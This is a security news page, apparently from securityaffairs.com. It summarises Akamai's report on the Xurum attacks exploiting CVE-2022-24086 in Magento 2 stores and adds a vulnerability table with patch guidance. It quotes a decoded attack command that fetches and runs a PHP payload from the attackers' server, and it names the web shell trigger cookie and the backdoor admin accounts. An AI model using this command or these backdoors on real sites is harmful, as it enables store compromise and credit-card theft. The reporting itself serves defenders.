Ongoing Xurum attacks target Magento 2 e
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2016-5195 | Dirty COW Race Condition Enables Local Privilege Escalation in the Linux Kernel CVE-2016-5195, widely known as 'Dirty COW', is a race condition (CWE-362) in the copy-on-write (COW) memory-handling code in mm/gup.c of the Linux kernel, affecting kernel versions 2.x through 4.x before 4.8.3. A local user with low privileges can trigger the race — including via the PTRACE_POKEDATA path used in public exploits — to write to a read-only memory mapping that should not be writable, corrupting files or overwriting memory. This yields root-level privileges on the host, enabling full system takeover, malware implantation and persistence. Any system running an affected kernel is exposed, spanning Ubuntu, Red Hat Enterprise Linux (including AUS, EUS, Long Life and TUS variants), Debian, Fedora, Palo Alto Networks PAN-OS, and NetApp Cloud Backup and HCI Storage Nodes that ship an affected kernel. Exploitation is confirmed in the wild: the flaw was actively exploited in October 2016, including by the first Android malware found using it to gain root, it was added to CISA's KEV catalog on 2022-03-03 with the required action to apply vendor updates, and EPSS currently assigns an 83.5% probability of exploitation in the next 30 days (100th percentile). Do: Upgrade to Linux kernel 4.8.3 or later, or apply the vendor-issued patched/backported kernel updates from Canonical, Red Hat, Debian, Fedora Project, Palo Alto Networks (PAN-OS) and NetApp, per the CISA KEV required action. Prioritize unpatched legacy servers and internet-exposed Linux hosts — especially multi-user systems, SSH-accessible machines and containers where untrusted users can run code — and update Android devices that may have been silently rooted via Dirty COW. Until patching completes, restrict local and SSH access to trusted users, since exploitation requires local low-privileged code execution. | 7.0 | 84% | KEV PoC ×5 |
| mass≈ hundreds of millions of Linux systems and devices (affected kernels shipped in nearly all mainstream distributions, appliances and Android devices of the… | |
| CVE-2022-24086 | Unauthenticated RCE via checkout input-validation flaw in Adobe Commerce/Magento Adobe Commerce and Magento Open Source versions 2.4.3-p1 and earlier and 2.3.7-p2 and earlier contain an improper input validation flaw (CWE-20) in the checkout process. A remote attacker can trigger it with no privileges and no user interaction by submitting crafted input to a store's checkout flow, and successful exploitation results in arbitrary code execution on the server hosting the storefront. Any Adobe Commerce or Magento Open Source storefront running the affected versions is exposed, and because these are internet-facing e-commerce sites the practical exposure is broad. Exploitation is confirmed in the wild: the flaw is in CISA's Known Exploited Vulnerabilities catalog (added 2022-02-15), its EPSS exploitation probability is 99.2% (100th percentile), and news reports describe ongoing attacks against Magento 2 stores, including recurring 'Xurum' attack campaigns and template-based attacks. Do: Upgrade every store to an Adobe-patched release per the vendor's instructions - i.e., any release newer than 2.4.3-p1 on the 2.4.x line or newer than 2.3.7-p2 on the 2.3.x line - noting that headlines indicate companion Magento CVEs were fixed in the same patch release, so consult Adobe's advisory for the full list. Because exploitation is unauthenticated and confirmed in the wild, prioritize internet-facing shops; WAF rules may reduce risk, but reports indicate WAF bypasses in related Magento attacks, so patching is the only reliable fix. After patching, review web server and application logs for exploitation attempts against the checkout flow and check affected hosts for indicators of compromise. | 9.8 | 99% | KEV |
| massroughly 100,000-300,000 online storefronts (Magento/Adobe Commerce is among the most widely deployed e-commerce platforms) |
Full article534 words · extracted from securityaffairs.com · click to collapse
Experts warn of ongoing attacks, dubbed Xurum, targeting e-commerce websites using Adobe’s Magento 2 CMS.
Akamai researchers warn of ongoing attacks, dubbed Xurum, targeting e-commerce websites running the Magento 2 CMS.
The attackers are actively exploiting a server-side template injection issue, tracked as CVE-2022-24086, (CVSS score: 9.8), in Adobe Commerce and Magento Open Source.
The name Xurum comes from the domain name of the attacker’s command and control (C2) server.
The campaign is active since at least January 2023, threat actors seem to be interested in payment stats from the orders in the victim’s Magento store placed in the past 10 days.
In some cases, the attackers also deployed a software skimmer to capture credit card information and transmit it to a remote server.
Evidence gathered by the researchers suggests the attacks were carried out by a Russian threat actor.
The server xurum.com is physically located in the Netherlands and hosted by the Russian hosting company called VDSina.ru.
The attackers were observed attempting to execute two distinct payloads from a total of four IP addresses associated with the infrastructure of Hetzner and Shock Hosting hosting providers.
The first variant of the payload executes the “file_get_contents” PHP function to send a request to the C2 (xurum.com) to determine whether the server is vulnerable to CVE-2022-24086.
The second variant is the second-stage PHP payload that is downloaded and executed by the attackers, it is hosted on the same xurum.com server.
“To evade detection, the exploit segment responsible for downloading and executing the remote malicious PHP code is obfuscated using Base64 encoding and executed via the “shell_exec” PHP function (Figure 3). The obfuscated part decodes to php -r “`wget -qO– https://xurum.com/b.txt`;”.” reads the analysis published by Akamai.
The researchers reported that the attackers register a new Magento component and mask it as “GoogleShoppingAds.” The threat actors were observed using an advanced web shell named “wso-ng” that is activated only when the attacker sends the cookie “magemojo000” to the backdoor “GoogleShoppingAds” component.
According to the author, wso-ng is a new version of the WSO webshell.
The web shell login page masquerades as an error page containing a hidden login form that attempts to siphon victim credentials.
The attackers were observed creating a backdoor admin user in Magento, named “mageplaza” or “mageworx.” These attackers used these two names because they are also the names of the popular Magento extensions stores.
Akamai researchers also observed on the xurum.com server a public exploit the CVE-2016-5195, aka Dirty COW, for Linux local privilege escalation,
“The attackers have shown a meticulous approach, targeting specific Magento 2 instances rather than indiscriminately spraying their exploits across the internet. They demonstrate a high level of expertise in Magento and invest considerable time in understanding its internals, setting up attack infrastructure, and testing their exploits on real targets.” concludes the report. “This campaign serves as a practical example of how older vulnerabilities continue to be exploited years after disclosure, as businesses struggle to keep up with patches and security measures.”
The report also includes indicators of compromise (IOCs).
Follow me on Twitter: @securityaffairs and Facebook and Mastodon
(SecurityAffairs – hacking, Xurum Magento attacks)
Text extracted automatically; images, tables and formatting may be missing. Original: https://securityaffairs.com/149509/cyber-crime/xurum-adobes-magento-2-attacks.html